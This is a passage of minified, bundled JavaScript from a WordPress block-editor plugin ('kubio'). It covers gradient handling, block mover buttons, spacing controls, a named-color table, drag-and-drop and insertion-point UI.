strict";n.d(t,"a",(function(){return a})),n.d(t,"e",(function(){return s})),n.d(t,"b",(function(){return u})),n.d(t,"d",(function(){return d})),n.d(t,"c",(function(){return b}));var o=n(0),r=n(7),l=n(106),c=n(30),i=n(14);function a(e){if(e)return`has-${e}-gradient-background`}function s(e,t){const n=null==e?void 0:e.find((e=>e.slug===t));return n&&n.gradient}function u(e,t){return null==e?void 0:e.find((e=>e.gradient===t))}function d(e,t){const n=u(e,t);return n&&n.slug}function b(){let{gradientAttribute:e="gradient",customGradientAttribute:t="customGradient"}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{clientId:n}=Object(l.b)(),u=Object(c.a)("color.gradients.custom"),b=Object(c.a)("color.gradients.theme"),p=Object(c.a)("color.gradients.default"),m=Object(o.useMemo)((()=>[...u||[],...b||[],...p||[]]),[u,b,p]),{gradient:f,customGradient:g}=Object(r.useSelect)((o=>{const{getBlockAttributes:r}=o(i.a),l=r(n)||{};return{customGradient:l[t],gradient:l[e]}}),[n,e,t]),{updateBlockAttributes:h}=Object(r.useDispatch)(i.a),v=Object(o.useCallback)((o=>{const r=d(m,o);h(n,r?{[e]:r,[t]:void 0}:{[e]:void 0,[t]:o})}),[m,n,h]),O=a(f);let k;return k=f?s(m,f):g,{gradientClass:O,gradientValue:k,setGradient:v}}},function(e,t,n){"use strict";var o=n(0),r=n(3);t.a=function(e){let{title:t,icon:n,children:l}=e;return Object(o.createElement)(o.Fragment,null,Object(o.createElement)("div",{className:"block-editor-inserter__panel-header"},Object(o.createElement)("h2",{className:"block-editor-inserter__panel-title"},t),Object(o.createElement)(r.Icon,{icon:n})),Object(o.createElement)("div",{className:"block-editor-inserter__panel-content"},l))}},function(e,t,n){"use strict";n.d(t,"b",(function(){return j})),n.d(t,"a",(function(){return _}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(12),a=n(3),s=n(11),u=n(7),d=n(1),b=n(329),p=n(330),m=n(421),f=n(331);const g=(e,t)=>"up"===e?"horizontal"===t?Object(d.isRTL)()?"right":"left":"up":"down"===e?"horizontal"===t?Object(d.isRTL)()?"left":"right":"down":null;var h=n(14);const v=(e,t)=>"up"===e?"horizontal"===t?Object(d.isRTL)()?b.a:p.a:m.a:"down"===e?"horizontal"===t?Object(d.isRTL)()?p.a:b.a:f.a:null,O=(e,t)=>"up"===e?"horizontal"===t?Object(d.isRTL)()?Object(d.__)("Move right","kubio"):Object(d.__)("Move left","kubio"):Object(d.__)("Move up","kubio"):"down"===e?"horizontal"===t?Object(d.isRTL)()?Object(d.__)("Move left","kubio"):Object(d.__)("Move right","kubio"):Object(d.__)("Move down","kubio"):null,k=Object(r.forwardRef)(((e,t)=>{let{clientIds:n,direction:l,orientation:b,...p}=e;const m=Object(s.useInstanceId)(k),f=Array.isArray(n)?n:[n],j=f.length,{blockType:_,isDisabled:y,rootClientId:E,isFirst:S,isLast:C,firstIndex:w,orientation:B="vertical"}=Object(u.useSelect)((e=>{const{getBlockIndex:t,getBlockRootClientId:n,getBlockOrder:o,getBlock:r,getBlockListSettings:c}=e(h.a),a=f[0],s=n(a),u=t(a),d=t(f[f.length-1]),p=o(s),m=r(a),g=0===u,v=d===p.length-1,{orientation:O}=c(s)||{};return{blockType:m?Object(i.getBlockType)(m.name):null,isDisabled:"up"===l?g:v,rootClientId:s,firstIndex:u,isFirst:g,isLast:v,orientation:b||O}}),[n,l]),{moveBlocksDown:I,moveBlocksUp:x}=Object(u.useDispatch)(h.a),T="up"===l?x:I,N=`block-editor-block-mover-button__description-${m}`;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(a.Button,Object(o.a)({ref:t,className:c()("block-editor-block-mover-button",`is-${l}-button`),icon:v(l,B),label:O(l,B),"aria-describedby":N},p,{onClick:y?null:e=>{T(n,E),p.onClick&&p.onClick(e)},disabled:y,__experimentalIsFocusable:!0})),Object(r.createElement)(a.VisuallyHidden,{id:N},function(e,t,n,o,r,l,c){const i=n+1;if(e>1)return function(e,t,n,o,r,l){const c=t+1;if(n&&o)return Object(d.__)("All blocks are selected, and cannot be moved","kubio");if(r>0&&!o){const t=g("down",l);if("down"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d down by one place","kubio"),e,c);if("left"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d left by one place","kubio"),e,c);if("right"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d right by one place","kubio"),e,c)}if(r>0&&o){const e=g("down",l);if("down"===e)return Object(d.__)("Blocks cannot be moved down as they are already at the bottom","kubio");if("left"===e)return Object(d.__)("Blocks cannot be moved left as they are already are at the leftmost position","kubio");if("right"===e)return Object(d.__)("Blocks cannot be moved right as they are already are at the rightmost position","kubio")}if(r<0&&!n){const t=g("up",l);if("up"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d up by one place","kubio"),e,c);if("left"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d left by one place","kubio"),e,c);if("right"===t)return Object(d.sprintf)(// translators: 1: Number of selected blocks, 2: Position of selected blocks
Object(d.__)("Move %1$d blocks from position %2$d right by one place","kubio"),e,c)}if(r<0&&n){const e=g("up",l);if("up"===e)return Object(d.__)("Blocks cannot be moved up as they are already at the top","kubio");if("left"===e)return Object(d.__)("Blocks cannot be moved left as they are already are at the leftmost position","kubio");if("right"===e)return Object(d.__)("Blocks cannot be moved right as they are already are at the rightmost position","kubio")}}(e,n,o,r,l,c);if(o&&r)return Object(d.sprintf)(// translators: %s: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %s is the only block, and cannot be moved","kubio"),t);if(l>0&&!r){const e=g("down",c);if("down"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d down to position %3$d","kubio"),t,i,i+1);if("left"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d left to position %3$d","kubio"),t,i,i+1);if("right"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d right to position %3$d","kubio"),t,i,i+1)}if(l>0&&r){const e=g("down",c);if("down"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the end of the content and can’t be moved down","kubio"),t);if("left"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the end of the content and can’t be moved left","kubio"),t);if("right"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the end of the content and can’t be moved right","kubio"),t)}if(l<0&&!o){const e=g("up",c);if("up"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d up to position %3$d","kubio"),t,i,i-1);if("left"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d left to position %3$d","kubio"),t,i,i-1);if("right"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc), 2: Position of selected block, 3: New position
Object(d.__)("Move %1$s block from position %2$d right to position %3$d","kubio"),t,i,i-1)}if(l<0&&o){const e=g("up",c);if("up"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the beginning of the content and can’t be moved up","kubio"),t);if("left"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the beginning of the content and can’t be moved left","kubio"),t);if("right"===e)return Object(d.sprintf)(// translators: 1: Type of block (i.e. Text, Image etc)
Object(d.__)("Block %1$s is at the beginning of the content and can’t be moved right","kubio"),t)}}(j,_&&_.title,w,S,C,"up"===l?-1:1,B)))})),j=Object(r.forwardRef)(((e,t)=>Object(r.createElement)(k,Object(o.a)({direction:"up",ref:t},e)))),_=Object(r.forwardRef)(((e,t)=>Object(r.createElement)(k,Object(o.a)({direction:"down",ref:t},e))))},function(e,t,n){"use strict";n.d(t,"a",(function(){return E}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(1),a=n(3),s=n(7),u=n(5),d=Object(r.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(r.createElement)(u.Path,{d:"M14.5 13.8c-1.1 0-2.1.7-2.4 1.8H4V17h8.1c.3 1 1.3 1.8 2.4 1.8s2.1-.7 2.4-1.8H20v-1.5h-3.1c-.3-1-1.3-1.7-2.4-1.7zM11.9 7c-.3-1-1.3-1.8-2.4-1.8S7.4 6 7.1 7H4v1.5h3.1c.3 1 1.3 1.8 2.4 1.8s2.1-.7 2.4-1.8H20V7h-8.1z"})),b=n(30),p=n(14),m=n(53);const f={px:{max:300,steps:1},"%":{max:100,steps:1},vw:{max:100,steps:1},vh:{max:100,steps:1},em:{max:10,steps:.1},rm:{max:10,steps:.1}};function g(e){var t,n,o,l,u;let{spacingSizes:g,value:h,side:v,onChange:O,isMixed:k=!1,type:j,minimumCustomValue:_,onMouseOver:y,onMouseOut:E}=e;h=Object(m.f)(h,g);let S=g;const C=g.length<=8,w=Object(s.useSelect)((e=>{const t=e(p.a).getSettings();return null==t?void 0:t.disableCustomSpacingSizes})),[B,I]=Object(r.useState)(!w&&void 0!==h&&!Object(m.i)(h)),x=Object(a.__experimentalUseCustomUnits)({availableUnits:Object(b.a)("spacing.units")||["px","em","rem"]});let T=null;C||B||void 0===h||!(!Object(m.i)(h)||Object(m.i)(h)&&k)?k||(T=B?Object(m.e)(h,g):Object(m.g)(h,g)):(S=[...g,{name:k?Object(i.__)("Mixed","kubio"):// translators: A custom measurement, eg. a number followed by a unit like 12px.
Object(i.sprintf)(Object(i.__)("Custom (%s)","kubio"),h),slug:"custom",size:h}],T=S.length-1);const N=Object(r.useMemo)((()=>Object(a.__experimentalParseQuantityAndUnitFromRawValue)(T)),[T])[1]||x[0].value,M=e=>{var t;return void 0===h||null===(t=g[e])||void 0===t?void 0:t.name},P=parseFloat(T,10),L=(e,t)=>{var n;const o=parseInt(e,10);if("selectList"===t){if(0===o)return;if(1===o)return"0"}else if(0===o)return"0";return`var:preset|spacing|${null===(n=g[e])||void 0===n?void 0:n.slug}`},R=k?Object(i.__)("Mixed","kubio"):null,A=k?Object(i.__)("Mixed","kubio"):M(T),D=S.map(((e,t)=>({key:t,name:e.name}))),F=g.map(((e,t)=>({value:t,label:void 0}))),z=Object(i.sprintf)(// translators: 1: The side of the block being modified (top, bottom, left, etc.). 2. Type of spacing being modified (Padding, margin, etc)
Object(i.__)("%1$s %2$s","kubio"),m.c[v],null==j?void 0:j.toLowerCase()),V=C&&!B&&void 0!==A;return Object(r.createElement)(r.Fragment,null,"all"!==v&&Object(r.createElement)(a.__experimentalHStack,{className:"components-spacing-sizes-control__side-labels"},Object(r.createElement)(a.BaseControl.VisualLabel,{className:"components-spacing-sizes-control__side-label"},m.c[v]),V&&Object(r.createElement)(a.BaseControl.VisualLabel,{className:"components-spacing-sizes-control__hint-single"},A)),"all"===v&&V&&Object(r.createElement)(a.BaseControl.VisualLabel,{className:"components-spacing-sizes-control__hint-all"},A),!w&&Object(r.createElement)(a.Button,{label:B?Object(i.__)("Use size preset","kubio"):Object(i.__)("Set custom size","kubio"),icon:d,onClick:()=>{I(!B)},isPressed:B,isSmall:!0,className:c()({"components-spacing-sizes-control__custom-toggle-all":"all"===v,"components-spacing-sizes-control__custom-toggle-single":"all"!==v}),iconSize:24}),B&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)(a.__experimentalUnitControl,{onMouseOver:y,onMouseOut:E,onFocus:y,onBlur:E,onChange:e=>O((e=>isNaN(parseFloat(e))?void 0:e)(e)),value:T,units:x,min:_,placeholder:R,disableUnits:k,label:z,hideLabelFromVision:!0,className:"components-spacing-sizes-control__custom-value-input",size:"__unstable-large"}),Object(r.createElement)(a.RangeControl,{onMouseOver:y,onMouseOut:E,onFocus:y,onBlur:E,value:P,min:0,max:null!==(t=null===(n=f[N])||void 0===n?void 0:n.max)&&void 0!==t?t:10,step:null!==(o=null===(l=f[N])||void 0===l?void 0:l.steps)&&void 0!==o?o:.1,withInputField:!1,onChange:e=>{O([e,N].join(""))},className:"components-spacing-sizes-control__custom-value-range",__nextHasNoMarginBottom:!0})),C&&!B&&Object(r.createElement)(a.RangeControl,{onMouseOver:y,onMouseOut:E,className:"components-spacing-sizes-control__range-control",value:T,onChange:e=>O(L(e)),onMouseDown:e=>{var t;(null==e||null===(t=e.nativeEvent)||void 0===t?void 0:t.offsetX)<35&&void 0===h&&O("0")},withInputField:!1,"aria-valuenow":T,"aria-valuetext":null===(u=g[T])||void 0===u?void 0:u.name,renderTooltipContent:M,min:0,max:g.length-1,marks:F,label:z,hideLabelFromVision:!0,__nextHasNoMarginBottom:!0,onFocus:y,onBlur:E}),!C&&!B&&Object(r.createElement)(a.CustomSelectControl,{className:"components-spacing-sizes-control__custom-select-control",value:D.find((e=>e.key===T))||"",onChange:e=>{O(L(e.selectedItem.key,"selectList"))},options:D,label:z,hideLabelFromVision:!0,__nextUnconstrainedWidth:!0,size:"__unstable-large",onMouseOver:y,onMouseOut:E,onFocus:y,onBlur:E}))}function h(e){let{onChange:t,values:n,sides:o,spacingSizes:l,type:c,minimumCustomValue:i,onMouseOver:s,onMouseOut:u}=e;const d=Object(m.d)(n),b=Object(m.j)(n)&&Object(m.k)(n,o);return Object(r.createElement)(g,{value:d,onChange:e=>{const r=Object(a.__experimentalApplyValueToSides)(n,e,o);t(r)},side:"all",spacingSizes:l,isMixed:b,type:c,minimumCustomValue:i,onMouseOver:s,onMouseOut:u})}function v(e){let{values:t,sides:n,onChange:o,spacingSizes:l,type:c,minimumCustomValue:i,onMouseOver:a,onMouseOut:s}=e;const u=null!=n&&n.length?m.a.filter((e=>n.includes(e))):m.a,d=e=>n=>{const r={...t};r[e]=n,o(r)};return Object(r.createElement)(r.Fragment,null,u.map((e=>Object(r.createElement)(g,{value:t[e],label:m.c[e],key:`spacing-sizes-control-${e}`,withInputField:!1,side:e,onChange:d(e),spacingSizes:l,type:c,minimumCustomValue:i,onMouseOver:a,onMouseOut:s}))))}const O=["vertical","horizontal"];function k(e){let{onChange:t,values:n,sides:o,spacingSizes:l,type:c,minimumCustomValue:i,onMouseOver:a,onMouseOut:s}=e;const u=e=>o=>{if(!t)return;const r={...n};"vertical"===e&&(r.top=o,r.bottom=o),"horizontal"===e&&(r.left=o,r.right=o),t(r)},d=null!=o&&o.length?O.filter((e=>o.includes(e))):O;return Object(r.createElement)(r.Fragment,null,d.map((e=>{const t="vertical"===e?n.top:n.left;return Object(r.createElement)(g,{value:t,onChange:u(e),label:m.c[e],key:`spacing-sizes-control-${e}`,withInputField:!1,side:e,spacingSizes:l,type:c,minimumCustomValue:i,onMouseOver:a,onMouseOut:s})})))}var j=n(328),_=n(414);function y(e){let{isLinked:t,onClick:n}=e;const o=t?Object(i.__)("Unlink sides","kubio"):Object(i.__)("Link sides","kubio");return Object(r.createElement)(a.Tooltip,{text:o},Object(r.createElement)("span",{className:"component-spacing-sizes-control__linked-button"},Object(r.createElement)(a.Button,{isSmall:!0,icon:t?j.a:_.a,iconSize:24,"aria-label":o,onClick:n})))}function E(e){let{inputProps:t,onChange:n,label:l=Object(i.__)("Spacing Control","kubio"),values:s,sides:u,splitOnAxis:d=!1,useSelect:p,minimumCustomValue:f=0,onMouseOver:g,onMouseOut:O}=e;const j=[{name:0,slug:"0",size:0},...Object(b.a)("spacing.spacingSizes")||[]];j.length>8&&j.unshift({name:Object(i.__)("Default","kubio"),slug:"default",size:void 0});const _=s||m.b,E=Object(m.j)(s),S=1===(null==u?void 0:u.length),[C,w]=Object(r.useState)(!E||!Object(m.k)(_,u)||S),B={...t,onChange:e=>{const t={...s,...e};n(t)},isLinked:C,sides:u,values:_,spacingSizes:j,useSelect:p,type:l,minimumCustomValue:f,onMouseOver:g,onMouseOut:O};return Object(r.createElement)("fieldset",{className:c()("component-spacing-sizes-control",{"is-unlinked":!C})},Object(r.createElement)(a.BaseControl.VisualLabel,{as:"legend"},l),!S&&Object(r.createElement)(y,{onClick:()=>{w(!C)},isLinked:C}),C&&Object(r.createElement)(h,Object(o.a)({"aria-label":l},B)),!C&&d&&Object(r.createElement)(k,B),!C&&!d&&Object(r.createElement)(v,B))}},function(e,t,n){"use strict";t.a=function(e,t){var n={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},o={};for(var r in n)o[n[r]]=r;var l={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var r,c,i=o[this.toHex()];if(i)return i;if(null==t?void 0:t.closest){var a=this.toRgb(),s=1/0,u="black";if(!l.length)for(var d in n)l[d]=new e(n[d]).toRgb();for(var b in n){var p=(r=a,c=l[b],Math.pow(r.r-c.r,2)+Math.pow(r.g-c.g,2)+Math.pow(r.b-c.b,2));p<s&&(s=p,u=b)}return u}},t.string.push([function(t){var o=t.toLowerCase(),r="transparent"===o?"#0000":n[o];return r?new e(r).toRgb():null},"name"])}},function(e,t,n){"use strict";var o=n(3);const r=Object(o.createSlotFill)("InspectorControls"),l=Object(o.createSlotFill)("InspectorAdvancedControls"),c=Object(o.createSlotFill)("InspectorControlsBorder"),i=Object(o.createSlotFill)("InspectorControlsColor"),a=Object(o.createSlotFill)("InspectorControlsDimensions"),s=Object(o.createSlotFill)("InspectorControlsPosition"),u=Object(o.createSlotFill)("InspectorControlsTypography"),d={default:r,advanced:l,border:c,color:i,dimensions:a,list:Object(o.createSlotFill)("InspectorControlsListView"),settings:r,styles:Object(o.createSlotFill)("InspectorControlsStyles"),typography:u,position:s};t.a=d},function(e,t,n){"use strict";n.d(t,"a",(function(){return l}));var o=n(3),r=n(2);const l=e=>{var t;let n=!(null===(t=Object(o.__experimentalUseSlot)(e).fills)||void 0===t||!t.length);var l;return Object(r.isFunction)(o.__experimentalUseSlotFills)&&(n=!(null===(l=Object(o.__experimentalUseSlotFills)(e))||void 0===l||!l.length)),n}},function(e,t,n){"use strict";n.d(t,"a",(function(){return p})),n.d(t,"b",(function(){return m}));var o=n(2);const r=()=>"",l=e=>e.title,c=e=>e.description||"",i=e=>e.keywords||[],a=()=>"",s=()=>null;function u(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return e=Object(o.deburr)(e),e=e.replace(/^\//,""),e=e.toLowerCase(),e}const d=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return Object(o.words)(u(e))},b=(e,t)=>Object(o.differenceWith)(e,d(t),((e,t)=>t.includes(e))),p=(e,t,n,r)=>0===d(r).length?e:m(e,r,{getCategory:e=>{var n;return null===(n=Object(o.find)(t,{slug:e.category}))||void 0===n?void 0:n.title},getCollection:e=>{var t;return null===(t=n[e.name.split("/")[0]])||void 0===t?void 0:t.title}}),m=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(0===d(t).length)return e;const o=e.map((e=>[e,f(e,t,n)])).filter((e=>{let[,t]=e;return t>0}));return o.sort(((e,t)=>{let[,n]=e,[,o]=t;return o-n})),o.map((e=>{let[t]=e;return t}))};function f(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{getName:d=r,getTitle:p=l,getDescription:m=c,getKeywords:f=i,getCategory:g=a,getCollection:h=s}=n,v=d(e),O=p(e),k=m(e),j=f(e),_=g(e),y=h(e),E=u(t),S=u(O);let C=0;if(E===S)C+=30;else if(S.startsWith(E))C+=20;else{const e=[v,O,k,...j,_,y].join(" "),t=Object(o.words)(E);0===b(t,e).length&&(C+=10)}return 0!==C&&v.startsWith("core/")&&C++,C}},function(e,t,n){"use strict";var o=n(0),r=n(12),l=n(3),c=n(7),i=n(249),a=n(42);var s=n(14);t.a=e=>{let{children:t,clientIds:n,cloneClassname:u,onDragStart:d,onDragEnd:b}=e;const{srcRootClientId:p,isDraggable:m,icon:f,draggedBlocks:g}=Object(c.useSelect)((e=>{var t;const{canMoveBlocks:o,getBlockRootClientId:l,getBlockName:c,getBlock:i}=e(s.a),a=l(n[0]),u=c(n[0]);return{srcRootClientId:a,isDraggable:o(n,a),icon:null===(t=Object(r.getBlockType)(u))||void 0===t?void 0:t.icon,draggedBlocks:n.map(i)}}),[n]),h=Object(o.useRef)(!1),[v,O,k]=function(){const e=Object(o.useRef)(null),t=Object(o.useRef)(null),n=Object(o.useRef)(null),r=Object(o.useRef)(null);return Object(o.useEffect)((()=>()=>{r.current&&(clearInterval(r.current),r.current=null)}),[]),[Object(o.useCallback)((o=>{e.current=o.clientY,n.current=Object(a.getScrollContainer)(o.target),r.current=setInterval((()=>{if(n.current&&t.current){const e=n.current.scrollTop+t.current;n.current.scroll({top:e})}}),25)}),[]),Object(o.useCallback)((o=>{if(!n.current)return;const r=n.current.offsetHeight,l=e.current-n.current.offsetTop,c=o.clientY-n.current.offsetTop;if(o.clientY>l){const e=Math.max(r-l-50,0),n=Math.max(c-l-50,0)/e;t.current=25*n}else if(o.clientY<l){const e=Math.max(l-50,0),n=Math.max(l-c-50,0)/e;t.current=-25*n}else t.current=0}),[]),()=>{e.current=null,n.current=null,r.current&&(clearInterval(r.current),r.current=null)}]}(),{startDraggingBlocks:j,stopDraggingBlocks:_}=Object(c.useDispatch)(s.a);if(Object(o.useEffect)((()=>()=>{h.current&&_()}),[]),!m)return t({isDraggable:!1});const y={type:"block",srcClientIds:n,srcRootClientId:p};return Object(o.createElement)(l.Draggable,{cloneClassname:u,__experimentalTransferDataType:"wp-blocks",transferData:y,onDragStart:e=>{window.kubioDraggingData={type:"block",blocks:g},j(n),h.current=!0,v(e),d&&d()},onDragOver:O,onDragEnd:()=>{window.kubioDraggingData=null,_(),h.current=!1,k(),b&&b()},__experimentalDragComponent:Object(o.createElement)(i.a,{count:n.length,icon:f})},(e=>{let{onDraggableStart:n,onDraggableEnd:o}=e;return t({draggable:!0,onDragStart:n,onDragEnd:o})}))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return d})),n.d(t,"b",(function(){return g}));var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(7),a=n(14),s=n(253),u=n(90);const d=Object(o.createContext)(),b={start:{width:0,top:"50%",bottom:"50%",x:0},rest:{width:4,top:0,bottom:0,x:-2},hover:{width:4,top:0,bottom:0,x:-2}},p={start:{height:0,left:"50%",right:"50%",y:0,width:0},rest:{height:4,left:0,right:0,y:-2,width:"100%"},hover:{height:4,left:0,right:0,y:-2,width:"100%"}},m={start:{scale:0},rest:{scale:1,transition:{delay:0}}};function f(e){let{__unstablePopoverSlot:t,__unstableContentRef:n}=e;const{selectBlock:r,hideInsertionPoint:f}=Object(i.useDispatch)(a.a),g=Object(o.useContext)(d),h=Object(o.useRef)(),{orientation:v,previousClientId:O,nextClientId:k,rootClientId:j,isInserterShown:_,kubioInsertionEdge:y}=Object(i.useSelect)((e=>{var t;const{getBlockOrder:n,getBlockListSettings:o,getBlockInsertionPoint:r,isBlockBeingDragged:l,getPreviousBlockClientId:c,getNextBlockClientId:i}=e(a.a),s=r(),u=n(s.rootClientId);if(!u.length)return{};let d=u[s.index-1],b=u[s.index];for(;l(d);)d=c(d);for(;l(b);)b=i(b);return{previousClientId:d,nextClientId:b,orientation:(null===(t=o(s.rootClientId))||void 0===t?void 0:t.orientation)||"vertical",rootClientId:s.rootClientId,isInserterShown:null==s?void 0:s.__unstableWithInserter,kubioInsertionEdge:null==s?void 0:s.kubioInsertionEdge}}),[]),E="vertical"===v,S={start:{...E?p.start:b.start,opacity:0},rest:{...E?p.rest:b.rest,opacity:1,borderRadius:"2px",transition:{delay:0}},hover:{...E?p.hover:b.hover,opacity:1,borderRadius:"2px",transition:{delay:0}}},C=l()("block-editor-block-list__insertion-point","is-"+v),w=Object(o.useMemo)((()=>{switch(y){case"top":return"begin";case"bottom":return"end"}return y}),[y]);return Object(o.useEffect)((()=>{_||(g.current=!1)}),[_]),Object(o.createElement)(s.a,{previousClientId:O,nextClientId:k,__unstablePopoverSlot:t,__unstableContentRef:n,kubioInsertionEdge:y},Object(o.createElement)(c.__unstableMotion.div,{layout:!0,initial:"start",animate:"rest",whileHover:"hover",whileTap:"pressed",exit:"start",ref:h,tabIndex:-1,onClick:function(e){e.target===h.current&&k&&r(k,-1)},onFocus:function(e){e.target!==h.current&&(g.current=!0)},className:l()(C,{"is-with-inserter":_}),onHoverEnd:function(e){e.target.closest(".block-editor-block-popover__inbetween")||e.target!==h.current||g.current||f()}},Object(o.createElement)(c.__unstableMotion.div,{variants:S,className:"block-editor-block-list__insertion-point-indicator","data-testid":"block-list-insertion-point-indicator"}),_&&Object(o.createElement)(c.__unstableMotion.div,{variants:m,className:l()("block-editor-block-list__insertion-point-inserter")},Object(o.createElement)(u.a,{position:"bottom center",clientId:k,rootClientId:j,kubioInsertPosition:w,__experimentalIsQuick:!0,onToggle:e=>{g.current=e},onSelectOrClose:()=>{g.current=!1}}))))}function g(e){return Object(i.useSelect)((e=>e(a.a).isBlockInsertionPointVisible()),[])&&Object(o.createElement)(f,e)}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c})),n.d(t,"d",(function(){return i})),n.d(t,"c",(function(){return a})),n.d(t,"b",(function(){return s}));var o=n(149),r=n.n(o),l=n(1);function c(e,t){for(const n of new r.a(t).values()){if(-1===n.indexOf("is-style-"))continue;const 